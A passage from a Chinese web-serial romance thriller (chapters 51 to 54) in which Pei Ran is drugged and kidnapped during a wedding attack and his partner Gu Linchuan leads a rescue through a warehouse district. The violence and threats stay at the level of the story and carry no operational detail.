“此刻,宴会厅内灯火辉煌,高朋满座。我们因爱相聚,也因家族的荣光而共同见证。婚姻不仅是两个人的结合,更是两个家族的携手。今天,我们将在这里,见证一场跨越时光的承诺,见证一份坚不可摧的盟约。”
话音刚落,掌声更盛,在司仪的介绍下,顾临川和宋妍宜依次登场。
仪式流程省去了不少繁杂的活动,简单介绍之后便开始了宣誓。
“请问……”
“砰——!”
天花板上巨大的水晶吊灯轰然坠落,直直炸响地板,破碎的水晶碎片朝四周飞溅,众人惊叫连连,向周围迅速逃窜。
“什么情况?!”
“好黑啊,什么声音?啊啊啊啊啊啊啊——”
“谁在摸我,你是谁?!”
“……”
整个会场的灯也瞬间熄灭,场面一片混乱。
黑暗中有一道人影闪过,伴随着一道银白色的利刃,猛地朝台上飞扑过来。
顾临川反应迅速,拉着司仪和宋妍宜往后撤了几步,那人的动作落了空,但很快调整
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姿势,重新朝他们刺来。
顾临川环顾四周,实在没有趁手的工具,只好将外套脱下系在手上,随后一把上前,空手接白刃。
刀刃立刻刺破手掌,血液滴答滴答地往下掉,顾临川眼都没眨,黑暗中与那人对视一秒,而后夺过他手中的刀,转身横踢一脚,把他踹到台下。
那人闷哼一声,倒在地上,似乎痛苦极了。
顾临川并不恋战,转身带着两人躲进拐角安全的地方。
整个黑暗时间一分钟不到,电力系统很快恢复正常,顾临川立刻看向台下,那人已经消失不见了。
见状,顾临川深深皱着眉,脸色阴沉。
“你手怎么样?”宋妍宜围上来,看着他血肉模糊的手掌,倒吸一口凉气,“赶紧处理一下,这里我能处理,他们是冲着我来的。”
宋妍宜捡起地上的匕首,在自己的裙摆上一划,碍事的长裙顷刻变得便捷起来,眼神阴狠,“自不量力的家伙,我要让他们付出代价。”
“老板,已经抓到破坏电力系统的人了。”
顾临川转身看她一眼,“按计划行事,不要节外生枝。”
宋妍宜点头:“我明白。”
豪门贵族们经受了这般惊吓,又被拦着拷问,皆是满脸的不满,人群中怨声载道,但又碍于两家的权势,不敢反抗。
顾临川在医生的帮助下简单处理了一下伤口,活动了一下手腕,从休息室的暗柜中拿出一把木/仓别在腰间。
这时,门口传来急促的敲门声,是戚贺昀。
“不好了,送裴裴的车出了车祸,车辆当场爆炸了,司机和裴裴都不知所踪。”
顾临川猛地抬起头,眼眶迅速因充血而布满红血丝,额头青筋暴起,整个人仿佛地狱里爬出来的索命的恶鬼。
戚贺昀被他的状态吓了一跳,但仍然镇定:“你先别着急,车上没有裴裴和司机的尸体,他们一定被转移了。”
“谁知道他会来的消息?”顾临川哑声问。
“……我不知道。”戚贺昀咬着唇偏过头,不敢看他的眼睛。
顾临川信不过顾宋两家的安保,也怕自己的信息被他父亲监控,所以整个会场的安保都是由戚式提供的,司机也是他信任的人。
裴然在他手上出事,他难辞其咎。
顾临川一拳砸向旁边的化妆镜,方才包扎好的伤口顷刻裂开,碎片划破指节,又添新伤,他却像没事人一样,收回手。
“那谁知道?”顾临川声线平静,整个人被抽离了灵魂一般,仿佛方才暴怒的人不是他。
戚贺昀被吓一跳,整个人抖了一下,往后退,颤声道:“咕咕你别这样,一定会找到裴裴的。”
“怎么了?”枚烨皱着眉从门口挤了进来。
只看见满地的鲜血和破碎的玻璃,他冷着脸过去,抓起一边的纱布给他止血,皱眉质问:“你冲他发什么脾气?他想出事?”
顾临川看着左手无名指上的戒指,混乱中竟然也没沾染上一丝污渍,“我没怪他,我心里有气,是对我自己。”
明明知道今天会很危险,却还是将他带来了,他恨自己将裴然置身险境,恨自己掉以轻心。
其实他不是非要在今天,只是他对当初裴然同意自己与别人订婚的事情心有不甘。
如果他没有赌气非要选在这一天,是不是一切就不会发生了。
“戚总,有电话!”一个下属激动地喊。
戚贺昀接过电话,对方始终没有出声,他咽了咽口水,先开口:“喂……”
“顾临川……唔……放开我!”
三人面色巨变,对视一眼,这分明是裴然的声音!
51.第 51 章
裴然上车以后,总觉一阵心慌,脑袋也昏昏沉沉的。
裴然甩了甩脑袋,把窗户打开,吹吹风让自己清醒一点,但貌似没有一点效果。
视线模糊间,裴然接起电话。
“然哥。”电话让对面的声音有点失真,“我好想你啊,我们很快就要再见面了。”
“你这个疯子!”裴然咬破了嘴唇,努力让自己保持清醒,“你到底要做什么?”
“嘘,好好睡一觉吧。”
裴然失去意识前,仿佛看见一双大手将自己拦腰抱起,紧接着身后传来一声巨响。
“砰——”
小车瞬间失控撞向迎面驶来的大货车,火势蔓延极快,路人纷纷避让。
男人痴迷地喊着,贪婪地抚上裴然熟睡的眉眼,“然哥……”
车辆缓缓驶入一处废弃烂尾楼,四周全是破碎水泥和钢筋,顾辰抱着他下车,上到三楼。
三楼被临时打造出了一片栖身地,桌子上放着电脑窃听器还有精密的信号屏蔽仪。
顾辰用脚踢开门,扑面而来的烟酒臭味,还有地上混乱的痕迹,紧皱着眉,总觉哪哪都脏,嫌弃到没舍得把裴然放下。
他找到床上纵欲过度的宋致远,一脚踢上去,“滚起来!”
“谁啊!”宋致远宿醉过面色很差,摔得龇牙咧嘴,骂骂咧咧地爬起来,“你有毛病吧,不会好好说话啊?”
“……”顾辰深吸一口气,忍住把他摁在地上乱打的冲动,问,“事情准备的怎么样了?”
宋致远坐起来,从床头摸出烟叼在嘴边,眯着眼找打火机,不忘回他:“我做事你放心吧,人和飞机都准备好了,随时送你和你的——小情人……哎哟你他妈又干什么?”
“嘴巴放尊重点!”顾辰一把夺过他的烟,在地上踩了踩,“把我准备的东西拿来。”
“行行行,我尊重,尊重行了吧,这不是小情人,是你心心念念的然哥。”宋致远阴阳怪气完,懒得跟他计较,又从盒里掏出一根烟,还没来得及放进嘴里,下一秒又被顾辰扔掉,“你发什么疯?”
顾辰脸色不悦,皱着眉:“别给他吸二手烟。”
“不是吧?你说什么?”宋致远听完乐了,拍手大笑,随后恶狠狠地说:“你在我面前装什么深情呢?别给自己骗过去了,你不就一个舔狗么?”
宋致远一把抓起烟酒和打火机,狠狠撞过顾辰的肩,嗤笑一声,出去了。
这一撞险些将裴然撞掉,顾辰抱着他的手向上一提,怀里人被颠得发出一声闷哼。
顾辰走到自己的房间,将床铺理出来,把他放到床上。
“装吗?”顾辰低低地问,“也是,我又不喜欢你,管你那么多干什么?”
嘴上这样说着,看着他被磨红的手腕,手里绑他的动作还是没忍住松了些。
裴然醒过来时,窗外天色已经暗了,药物散去之后,全身都没力气,动了动手,不出意外地被绑住了。
裴然:“……”
门被推开了,顾辰端着粥走进来。
“别白费力气了,这个结越挣扎越紧。”顾辰拿着勺子坐在床边,慢条斯理地吹凉后,才喂到他嘴边,“吃吧,你最爱的海鲜粥。”
裴然疑心这饭里有东西,偏过头闭嘴不敢吃。
“没毒。”顾辰看出他心中所想,“别白费力气,我不会伤害你。”
“把我手松开,我自己吃。”裴然抗拒地向后挣扎。
“……我喂你吃。”顾辰步步紧逼。
“滚开!”裴然用膝盖顶翻了那碗粥,怒道,“别假惺惺的装模作样行吗?真恶心!”
滚烫黏糊的粥顺着指缝流下来,手被烫得通红,看上去有些吓人。
“然哥你真的很不听话。”顾辰脸色瞬间冷下来,掐着裴然的脸,面孔狰狞,“既然你不想吃,那就饿着吧。”
说完,顾辰摔门而去,本就松松垮垮的门这下更显得岌岌可危。
裴然松了一口气,巡视着房间里面的陈设,只有一张床和一个小桌子,没有任何尖锐的物体。
冷静下来,他认真思考了一下当前的处境,他被顾辰迷晕后绑到这里来,顾辰的目的是什么?难道真的如他所说,只是想得到他?裴然当然不会信。
顾临川在他身上安装有监听器和定位系统,但是现在都没来救人,显然被他们破坏掉了,要想出去,只能自己想办法。
一定不能让顾辰用自己去威胁顾临川。
裴然往后躺,尝试用墙去蹭破这个绳子,但奈何绳子太粗,手歪曲太久不停抽筋,他只好先停下。
这样不是办法,太慢了。
裴然喘着粗气,打算蠕动着下床,用床脚的锋利处蹭破,下一秒,门被粗暴地打开。
宋致远手里拽着一个全身赤裸的男孩丢了进来。
一个不论是身高还是身形,都极为相似的一个男孩。
男孩清秀的脸上满是眼泪,不停地呜咽着,“远哥,真的可以吗?”
“别废话。”宋致远嫌恶地踢了一脚地上的男孩,把视线投向墙角的裴然。
不得不说,不愧是顾辰拼了命也要抢的男人,果然带劲!
即使是这种境地,浑身脏污,头发也乱糟糟,但只是红着眼看他一眼,他都觉得勾人。
他眯起眼睛不怀好意地舔唇,他还没尝过这种滋味的男人……趁着顾辰不在,这是个好机会……
宋致远突然笑了,走到裴然面前挑起他的下巴,语气下流:“长得是真的嫩啊。”
裴然眼里满是敌意,看着越来越近的脸,下意识想用膝盖顶回去,却还没来得及碰到,宋致远就面露痛苦。
“你在干什么?”顾辰悄无声息地出现在身后,一把将他手以一种极其扭曲的姿态抓到身后,整个人阴森可怖,低声警告,“我说过,别动他。”
“啊!疼疼疼!放开我!”宋致远大声惨叫,“我只是按照计划行事,没别的想法。”
顾辰一把甩开他的手臂,面色阴沉:“最好是。”
说完他看着趴在地上瑟瑟发抖的男孩,将他扶了起来,说:“外面等。”
男孩如蒙大赦,一溜烟地跑了出去。
宋致远瞪他一眼,很想骂一句,但看他状态也有些怵,只好说:“赶紧吧,他们那边已经有动作了。”
顾辰把他整个人抱到椅子上,拿绳子重新绑起来,在面前架了一步摄影机。
裴然紧紧盯着他,问:“他是谁?你们要干什么?”
裴然隐隐能猜到他们要干什么,他这个人倒也算不得有价值,但是拿去威胁顾临川和宋妍宜,倒是绰绰有余。
顾辰不回答,只拿了一
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条黑布蒙上裴然的双眼,堵上了他的嘴,不知道在摄像机那边捣鼓什么,录了几段视频。
视频里面裴然整个人蜷缩在墙角,浑身脏污,脖颈和脚踝处都有不同程度的擦伤,好不可怜。
拍完视频,顾辰一把扯下黑布条,却没有取下塞在嘴里的布料。
他抬手轻柔地抚上裴然撕裂的唇角,心生怜惜:“疼么?”
裴然怒视他一眼,嫌恶地转过头。
顾辰也不恼,耐着性子把他脑袋掰回来,逼他看着自己,“不要怕,很快就好了,很快你就自由了。”
闻言,裴然心里一沉,他清楚,他已经没多少时间了。
“然哥你衣服脏了,换下来吧。”顾辰拿了药膏替他上了药,转身递给他一套全新的衣服,“我背着对你,不会偷看。”
方才打翻了粥,身上的确黏黏糊糊的,能换衣服最好,裴然警惕地看着他给自己松绑,抓起衣服闪到角落,迅速换好。
很快便有人进来将换下来的脏衣服拿出去,顾辰深深地看他一眼,终是什么也没说,退了出去。
随后有人拿着电脑和手机进来了,身后跟着宋致远轻蔑不屑的笑着,当着他的面打开了电脑监控画面。
视频里面是婚宴现场,伴随着视频的还有滴滴答答令人心惊的倒计时。
宋致远说:“看到了吗?还有一个小时,这枚炸弹就会爆炸,到时候‘砰’的一声,所有人都会死。”
裴然背后冷汗狂流,他完全没想到顾辰和他竟然这么疯,绑架他还不够,竟然也不怕闹出人命。
“现在给你一分钟时间,给你的老相好打电话,你可以告诉他任何事情,包括炸弹的具体位置。”
宋致远漫不经心地把玩着打火机,火光在他指尖跳跃,似笑非笑地摆摆手,身后的保镖便毕恭毕敬地将手机递上来。
“开始吧——”
裴然呼吸急促,懵懵地看着电话打过去,还没反应过来对面已经接了电话。
裴然不清楚宋致远的意图,担心自己贸然开口会把对方置于险境,因此呼吸粗重,但始终没出声。
半分钟过去了,手机里传来戚贺昀谨慎的声音:“喂……”
裴然眼看时间一分一秒地流逝,顾不得那么多了,大声喊着:“顾临川!唔……放开我!”身后的保镖在他开口的那一刻冲了上来,凶狠地捂住他的嘴巴。
下一秒电话立刻切断,裴然瞳孔骤缩,猛地抬起头:“还没到一分钟!”
“逗你玩的,我一向言而无信。”宋致远心情愉悦,令人把手机拿下去,表情神秘莫测,“你还真是深情啊。”
还以为让裴然可怜悲戚地喊顾临川会挺难的,没想到眼前人只是随便一张口便是老情人的名字,真是有趣。
“你这个……啊!”裴然急得红了眼,还想跟他争辩,下一秒脖子一酸,两只手被保镖强行向后拽,挣扎之间用力过猛竟直接脱臼,裴然顿时冷汗直流。
宋致远啧了一声,一脚踹向一旁的保镖,骂道:“给老子轻点!打坏了你赔啊?”
迷药很快便发挥作用,裴然眼神逐渐变得迷离恍惚,脑袋昏沉,晕了过去。
宋致远乐呵呵地看着他眼神迷离,倒在床边,忍住了占便宜的冲动,打了个电话。
“行了,都办妥了,你把人带走吧。”
52.第 52 章
电话挂断,现场所有人都陷入了沉默,仿佛有一团看不见的乌云,笼罩在众人的头顶。
顾临川瞳孔骤然收缩,浑身的血液瞬间冲到头顶,站起来,“立刻锁定电话来源!”
说话间,戚贺昀已经打开一旁的笔记本电脑开始操作起来,“对方反侦查意识很强,定位经过多方代理,藏得很深。”
戚贺昀额头急得冒汗,手指不停翻飞,保持着镇定。
紧接着,叮咚一声,有一条短信传过来——带上我要的东西,三天后到城西仓库,一手交货一手交人。
看清短信后,几人都没忍住低声骂了一句脏话,戚贺昀更是气得一脚踹翻旁边的椅子,气红眼:“……胆子真大!”
看到消息,枚烨也赶紧吩咐下去,对顾临川喊:“我马上去派人,全城监控、物流园、工业区、绕城沿线仓库,十分钟内全部铺开。”
一时间,大家都忙碌起来。
Leo直到现在都没缓过神,见众人都没提到短信里那个“我要的东西”,心急如焚地冲到顾临川面前:“他要什么?你们怎么还不去准备啊?你们是不是不想给?难道你们要眼睁睁看着然被伤害吗?”
顾临川浑身气压极低,实在没有精力解释一句。
Leo见没人理他,突然崩溃大哭起来,所有堆积的情绪一下爆发,在安静的房间里异常吵闹。
但这时候没人开口说他,大家各司其职,也腾不出时间和他解释安慰。
戚贺昀被这个复杂的定位搞得焦头烂额,实在没忍住吼出来:“别吵了行不行!”
就在一触即发之际,门口传来一阵高跟鞋的脚步声,仿佛踩在众人心尖,步步有力。
“行了,又闹什么?”宋妍宜不耐烦地敲门打断争执,手里拿着一沓资料,“有这时间不如干点正事?”
说完她把资料递给顾临川,开始讲当下的情况。
根据监控显示,在爆炸前,有人将裴然提前从车里带了出去,上了另一辆白色面包车,最后消失的地点正是城西的工业园区。
而整场绑架,是顾辰和宋致远联手策划的,提前控制了会场的电力系统和安保人员,趁着摸黑的一分钟进行行刺和安装炸弹。
至于目的,很显然,他们要宋妍宜乖乖将股份和权力交出来。
“炸弹已经全部被找出来了,专家正在研究拆解。”宋妍宜看向顾临川,面色凝重,“他们是有备而来。”
“找到了!”戚贺昀指着电脑的一处小点,举到顾临川面前,“信号被屏蔽太多,只能定位到这个范围。”
顾临川眼底满是淬了冰的狠厉,声音低沉而笃定:“枚烨负责控场,立刻封锁所有出城路口,货运站、高速口、仓储出入口,一个不漏,我要他们死在仓库里。”
枚烨心底一沉:“明白。”
“贺昀留下,带着技术组跟上继续查,反向追踪信号,不管他绕多少层,给我挖出来。”
戚贺昀抱着电脑:“没问题。”
“妍宜也留下,梳理今天到场的全部可疑人员,宋致远和顾辰不可能有能力布这么大的局背后一定有人。”顾临川依次拍着他们的肩,一切尽在不言中,“现场就交给你了,有什么消息,立刻通知。”
宋妍宜投去一个安心的眼神:“放心吧。”
说完顾临川站起来,视线扫过整个房间,停留在Leo身上,声音沙哑:“裴然是我的人,我不会让他出事,请你相信我,我会把他完完整整地带回来。”
或许是这句话太过认真,Leo渐渐停止了哭泣,他想说然还在等你去救他,但回过神来顾临川已经离开。
宋妍宜怜惜地摸摸他的头:“放心吧,有我们在,小然不会出事的。”
说完,她也马不停蹄地转身离开,带着属下回到了现场。
顾临川坐上车,朝着城外成片连绵的仓库区,全速奔赴。
车窗大开,冷风灌入,这时候他必须让自己保持清醒。
他把绑匪打电话来的手机带上了,从录音里面找到了系统自动录音的那仅有四十秒的通话记录。
他颤抖着手,第一次不敢听到一段对话,夜风还在耳边呼啸,被他自动幻化成了裴然的哭泣。
手指按下,伴随着一阵长时间的沉默,令他心颤的呼喊随之传来。
“顾临川!唔……放开我!”
“顾临川!”
一路上,他一遍又一遍,近乎自虐地反复听这段录音,他要让自己时刻记住这句话里的恐惧和无助。
仓库密集区地形复杂,手下紧急调出场地的3D模型,分析着他们可能的藏身之处。
“加派人手,带着设备直接进去找。”顾临川站在电脑面前,视线快速扫过每一处地点,“他们选在这种地方就是为了跟我们拖时间,我们不跟他们耗。”
“咕咕,定位在园区西部闪过。”戚贺昀通过电话和他交流着,声音急促。
顾临川立刻下令:“定位西区,优先排查。”
黑夜里,人影攒动,个个身影如鬼魅般穿梭。
“报告,西郊八个物流园已完成外围封锁,人员全部到位,无死角布控。”
“废弃厂房区无异常动静,监控全部切断,对方反侦察手段严密。”
园区负责人姗姗来迟,中年男人顶着大腹便便的身材,见了这阵仗腿脚一软,拿出手帕擦了擦额角的汗,说话声音都发颤,“领导啊,这是发生了什么?”
“仓库的租赁合同、产权归属,现在拿出来。”顾临川睨他一眼,没理会他的问题。
“这这这……”负责人闻声抬头,看见顾临川周身气压低得吓人,脸上的笑瞬间僵住,却还是硬着头皮敷衍:“这位领导,我不太清楚……这仓库就是普通出租,我只是代管,上头怎么安排我就怎么做……”
陆沉缓步走近,目光落在他身上,没有丝毫温度,眼底闪得光像是会吃人:“我再问一遍,谁是产权方,谁租的,谁批的准入。”
他自带强烈的压迫感,仅仅是被扫一眼,便让人浑身发寒。
负责人被他看得腿肚子都发软,不停地擦着额间的汗,终于不敢再装糊涂,哆哆嗦嗦拿出手机,手忙脚乱点开产权证明。
下一秒,他看清落款处的名字和集团印章,脸色“唰”地惨白,浑身横肉一抖,几乎站不稳。
他猛地抬头,看向陆沉,声音都在打颤:“顾、顾领导……这、这仓库……是、是顾氏集
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团的产业……是、是您父亲名下的地……”
一句话落地,全场寂静。
顾临川拳头骤然缩紧,眼底掠过一丝极冷的讽意。
难怪对方能轻易潜入、封锁监控、安置炸弹占据地形。
难怪一切都顺得反常。
原来是自己家的地盘。
他喉间溢出一声冷嗤,却没有多余的情绪外露,只冷冷丢下一句:“所有经手人、审批记录、租赁协议,半小时内,全部送到我面前。”
负责人吓得连连点头,魂都快飞了,哪里还敢有半分隐瞒:“是是是!我马上整理!立刻!马上!”
枚烨和戚贺昀通过电话将这一切听得一清二楚,枚烨语气严肃:“内部有鬼,得立刻去查。”
戚贺昀深吸一口气,握紧了拳头:“他未免也太偏心,顾辰从小到大什么都要和你争,你都不知道出让多少,他还有什么不满足的?”
顾辰刚进顾宅时,顾临川极度反对,用尽一切手段想要将他们赶出去,但家族利益为上,没有人允许他闹到两败俱伤。
最终,双方各退一步,顾振东交出半数股份,聂玥独立门户,顾辰带着他母亲入住顾家。
聂玥对自己商业联姻的丈夫曾经有过期待,但好在情感联系尚不深刻,还有补救的余地。
于是,顾振东只好退位,将顾氏集团的大部分股份以及权力,在顾临川二十之后之后移交到他手上。
聂玥从小便告诉他,上一辈的恩怨是非与他无关,顾振东背叛了自己的妻子,但也获得了惩罚,他只需过好自己的人生即可。
因此顾临川虽不待见顾辰,却也在掌权之后,让他衣食无忧,甚至是荣华富贵的生活在顾家。
只是习惯身居高位的人又怎么会心甘情愿将权力出让……
顾振东的第一次反击,是在高考过后,设计将裴然送出国,原以为这样就会让顾临川一蹶不振,从此放弃股份继承。
谁知,顾临川不仅顺利继承,还一直在找机会攻击他的残余势力。
这些年来,顾振东几乎完全被架空,没有回旋的余地了。
可惜,兔子逼急了会咬人,猛兽逼急了更会狠厉地进行反击。
顾临川没说话,脑海里不禁浮现出裴然无助的模样,所有的怒意与阴鸷,在触及裴然的那一刻,尽数压回心底。
“先救人。”
“账,慢慢算。”
说完他拿着夜行衣准备换上,出了指挥区,打算等有消息之后跟着第一批人一起进去。
谢粱是他母亲聂玥那边的人,临时过来帮忙,也负责保护他的安危。
此刻没忍住劝道:“顾总,要不您别跟着了,万一打起来,伤着你,我不好交代。”
“不用你交代什么,我能为自己负责。”顾临川脚下没停,指尖飞快地在手机上发命令,耳麦已经扣入耳中,“让西郊的人到位后,不许轻举妄动,等我过去。”
对方显然是不想要裴然性命的,若是此次救援把他们逼急了,对裴然出手,他根本不敢想后果。
谢粱也知道劝不动,索性不再劝,点头:“明白。”
时间一分一秒地流逝,再拖延下去,裴然会很危险。
53.第 53 章
“咕咕,我将西区全部的仓库进出记录进行排查,只有三处符合条件,这三个地方结构很像,易收难攻,结构很封闭。”
戚贺昀将实时的数据发给他。
顾临川抬眼,声音没有半分起伏:“标记坐标,我要三维结构图。”
一旁的谢梁立刻将平板递过去,屏幕上清晰地显示着三座仓库的方位走向,每一处细节都被放大标注。
“咕咕,他们很可能已经发现我们了,但是再具体的方位,我很难快速确定,怎么办……”
戚贺昀声音越来越低,无助的询问让顾临川陷入沉默,整个人像是被罩子围住,与世界隔绝,一切声音都显得雾蒙蒙。
是啊,该怎么办,对面如果发现他们打算抢人,会不会转移,转移到下一个地点他们还能找到吗?
最重要的是,对方会不会被激怒,从而撕票?
事关爱人的性命,顾临川第一次感到无措和茫然。
救援行动陷入僵局,三座仓库周围已经被团团围住,所有人都在等待命令。
西区三号仓库内,裴然和那个男孩被绑住,嘴巴被胶带贴上,随意地在面包车后座。
车外,宋致远看着屏幕里显示的一大堆人,不满地嚷嚷:“你说你把他带上干什么,我可提前说好啊,人要是丢了,可别赖我。”
顾辰面色很差,脸白得像纸,很轻地摇了摇头:“我哥没这么好骗,我怕出岔子。”
“行,你爱折腾随便你。”宋致远挥手,让所有的人在门口戒备,又转头问,“把小李收拾好了吗?”
属下点头:“准备好了。”
宋致远摆摆手:“把人带上来吧。”
说罢,两个保镖便进了面包车,将那个和裴然身形极为相似的男孩提了出来,相比之前的赤露,如今他身上穿着的正是裴然当时弄脏的衣服。
保镖将他的头用麻袋缠住,把他整个人绑在椅子上,放在仓库的正中间,无论是从正门还是侧门进入都能第一时间看见。
宋致远对这个安排相当满意,走过去挑了挑他的下巴,似笑非笑:“干完这一票,包你想要什么有什么,懂了吗?”
小李脑袋闷在麻袋里,闻言想起那个和他关在一起的青年,眼泪无声地汹涌着。
他在心里祈求,别怪我,我真的很需要钱,我也是没有办法,对不起……
他绝望地闭上眼睛,几不可见的点了点头,从喉间溢出一句嗯。
宋致远看着这个冒牌货,本来还觉得有几分滋味,可他现在一副害怕怂胆的模样,真是十分倒胃口。
他嫌弃地撇撇嘴,转身走了。
裴然蜷缩在车后座角落,努力让耳朵贴近窗户边,好听到外面的动静。
周围人声有点空旷,仔细听还能听见有货车的声音,他初步猜测是在一个仓库里面,但是具体的哪座仓库他不得而知。
就在他打算撑着坐起来时,车门被打开了,他感受到面前俯下一个高大的身影,那人的手放在他的脚踝处,怜惜得揉了揉。
“怎么又红了,是他们给你绑太紧了吗?”顾辰拽着他的脚踝把他往怀里拉,很轻地低声问,“疼不疼啊?”
裴然认出他的声音,呼吸一滞:“……你到底要干什么?”
顾辰把他整个人抱紧怀里,下巴搁在他的发顶,轻蹭:“暂时不能告诉你,等我们出国之后,你想知道什么,我一定不瞒你。”
出国?!裴然彻底慌了神,在国内找人还有一线生机,如果真的被带走的话,那他真的就回不来了。
一定不能让他把自己带走,裴然喉结上下滚动,打算先顺从他,再做打算:“你要带我出国吗?去哪里?我不想离我母亲太远……”
“放心吧,我都计划好了,你只需要乖乖跟我走就好。”顾辰乐意见他和自己好好讲话,声音也温柔起来,“然哥,我们都多久没有像这样好好说话了,怎么样你才能看看我呢,我不比我哥差的。”
裴然嘴角一抽,他们刚刚哪里算得上好好说话,但他没说出来,抿着唇:“我手好疼,脚也好疼,你给我松开好不好?”
“然哥,不可以。”顾辰的声音如同吐着蛇信子的毒蛇,粘腻又剧毒,“松开之后,你就会想逃走。”
“不、不会的。”裴然立刻反驳他,黑暗中寻找着他的脸,把双手抬到他眼前,给他看手腕上被反复磨破后的伤口,“是真的很疼。”
伤口被麻绳勒紧,由于处理不当已经开始发炎,看起来确实有些唬人。
顾辰盯着看了半晌,从腰间取下一把小刀,给他将手上的绳子割破,留下脚上的绳子。
裴然:“……”也行吧。
重获自由后,裴然长舒一口气,扯下了一直围在眼睛上的布料,终于看清了眼前的景象。
的确是在仓库无疑,就在裴然打算朝四周看看,收集信息时,脑袋被一双大手蒙住,强行让他和顾辰对视。
顾辰语气好不委屈:“怎么都不看看我呢,然哥。”
熟稔又甜腻的撒娇在从前令裴然心软过无数次,这一次裴然却只觉得惊恐,他强忍住恶心,扯出一抹笑:“我总要先看看你们把我带到哪里来了吧。”
“你在等我哥来救你么?”顾辰把玩着他的发丝,独属于裴然的气息令他发狂般的着迷,“然哥,离开他跟我走吧,我真的很爱你,我会给你想要的一切。”
裴然不敢再和他呛声激怒他,只好低着头保持沉默。
此刻这份沉默在顾辰看来是犹豫思考的信号,一瞬间他大喜过望,一把将裴然抱住:“给我一个机会,好吗?”
“……我可以相信你吗?”裴然视线下移,看见软垫上躺着的小刀,咽了口唾沫,缓缓伸手。
顾辰深情地看着他:“当然可以。”
裴然屏住呼吸,距离小刀只剩下咫尺的距离,下一秒,顾辰将他打横抱起来,作势要往外面走。
裴然急了:“等一下!”
顾辰动作一顿,低头看他:“怎么了?”
“我肚子好疼。”裴然赶紧捂住腹部,装出疼痛难忍的表情,“就、就在这里休息会儿吧。”
“肚子疼?”顾辰盯着他看了几秒,还是将大掌缓缓抚上他柔软的肚子,不轻不重地替他揉着,“是这里吗?这样会好点吗?”
顾辰低头观察他的反应,见他表情痛苦,不似伪装,再加上这几顿裴然吃的的确很差,他身子基础又不好,难保不会出现一些不适。
“好多了。”裴然暗自咬牙,“谢谢你,不用揉了,我休息一会儿就好。”
顾辰手上动作一顿,替他调整好座位,“那你在这里休息,有事叫我。”
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裴然巴不得他赶紧走,面上仍是轻轻地点头:“嗯,我知道的。”
“然哥,你好乖。”临走前,顾辰拥住他,唇贴近他的耳畔,低声道,“这样的表现会让我觉得,你愿意给我这个机会了,是吗?”
裴然紧张得手心冒汗,忙答应:“当然,毕竟我们的曾经那么美好。”
为了增加话语的可信度,裴然突然侧过头,挡住他的视线,在脸颊落下一吻:“这样可以吗?”
顾辰笑了,对这个吻很受用:“我不会让你失望……”
然哥,你最好也别让我失望……顾辰意味深长地往他身后看了一眼,退出去。
车门关上,顾辰舔了舔犬牙,回味刚才那个蜻蜓点水一样的吻,连脊背都颤栗到发麻。
他把手伸向腰间,落了空,他退而求其次地摸了另外一把刀,那把常别着的刀,在车里,和裴然呆在一起……
“呼。”裴然见他终于走了,长舒一口气,观察了一番,趁着守卫不注意,将刀藏在背后。
随后一刀下去,脚上的麻绳瞬间割裂,他把刀藏在身上,打算找机会开溜。
见一个巡逻的守卫靠近,裴然突然用头狠狠砸向车窗,发出一声巨响。
守卫应声赶来。
他语气恭敬:“先生,出什么事情了?”
这一下撞得不轻,裴然晕了几秒,虚弱地说:“我……”
“抱歉,请大声一点。”
奈何裴然声音实在太小,守卫只好主动靠近,就在这时,裴然眼神凌冽,抬手迅速抓住守卫的头发,狠狠卡在车窗上,随后打开门,把刀架在脖子上,低声威胁:“要活命,就听我说。”
守卫没想到他突然发难,骤然被挟持,赶紧举起双手。
“把你身上的衣服脱给我,再告诉我最近的停车点在哪里。”裴然收紧了几分刀剑,锋利的刀刃陷进脖颈处的皮肤,血珠滴滴滚落,“老实点,别想着耍花招。”
守卫终是敌不过对死亡的恐惧,在难以镇定,哆哆嗦嗦地把全身的衣服脱了下来,告诉裴然从后门出去左拐五十米有一辆车。
说完,裴然猛地劈向他的脖颈,把他随意丢弃在后座。
自己则是换上守卫的服装,偷偷往后门靠。
一路上出奇的顺利,后门由于昏暗狭窄,驻守的守卫很少,零星几个在看见他时也没有任何起疑。
裴然就这样一路逃到了停车点,裴然轻手轻脚地靠近观察,四周只有孤零零的一辆车停在此处,不知为何,他从心底生出一阵胆寒。
他努力将这股诡异的不安感咽下去,一把拉开车门坐了上去。
由于紧张,车辆尝试了好几次才成功打着,裴然长舒一口气,终于看到一点胜利的曙光。
正当他准备系上安全带,准备离开这个鬼地方时,后座伸出一双大手,如蟒蛇一般死死捂住他的口鼻,将他整个人牢牢控制在驾驶座。
“啊!”裴然大叫一声,心跳加速,总觉得下一秒心脏都会之间从胸腔蹦出来。
“唔唔……唔唔唔……”
反应过来后,裴然剧烈地挣扎,但这双手却纹丝不动。
下一秒,身后传来如同鬼魅一般低低的呢喃:“然哥……”
裴然瞳孔骤缩,整个人僵在原地,连呼吸都遗忘。
54.第 54 章
顾辰站起来,掐着裴然的脖子,缓缓收紧。
整个人阴沉可怖,好似眼前的裴然真的对他做了伤天害理的事情。
“你撒谎了。”顾辰一寸一寸探过他的肌肤,声音沙哑,“我好难过啊,然哥。”
“你这个疯子!”裴然转头狠狠咬上他的虎口,趁机脱身出来:“你骗我的还少吗?”
“说的也是。”顾辰毫不脸红,甚至得寸进尺地想去摸裴然的脸,“那我就不和你置气了。”
“……”裴然简直对他的厚脸皮程度叹为观止,“放我离开。”
“不要着急走嘛,你看。”顾辰捏着裴然的下巴,强行让他转头,“整个西仓都是我们的人,你能逃到哪里去?”
裴然定睛一看,这才发现,车外竟然乌泱泱地围了一圈的保镖,此刻全都举着手木|仓慢慢上前。
“……”裴然呼吸急促,手里偷偷将匕首握紧。
伴随着顾辰一声痛苦的闷哼,裴然猛地将匕首扎向掐在脖颈处的手掌,裴然抬手将座椅放下,趁他不注意,整个人向后倒,钻到了后排。
“下车。”局势瞬间逆转,裴然把匕首架在顾辰的脖颈间,示意他跟着自己。
两个人一前一后的下了车,窗外的保镖见老板被挟持,脸色皆是一变,有些迟疑。
“让他们把木|仓放下!”裴然厉声呵斥。
“然哥,这个姿势好亲密,总觉得像你从身后拥抱我呢。”顾辰手掌还在滴血,却勾唇甜腻地笑起来,此刻显得格外怪异,“不用了,如果你敢动手的话,那就杀了我吧,死在你手里,我也没有遗憾了。”
顾辰这番话倒是真心,争来争去这么多年,突然又觉得没趣起来,只是计划一旦开始,再难以停下。
只可惜,裴然只认为是挑衅,他刀刃向上抬了抬,眼神危险:“你在威胁我?”
顾辰轻笑出声:“我哪敢啊。”
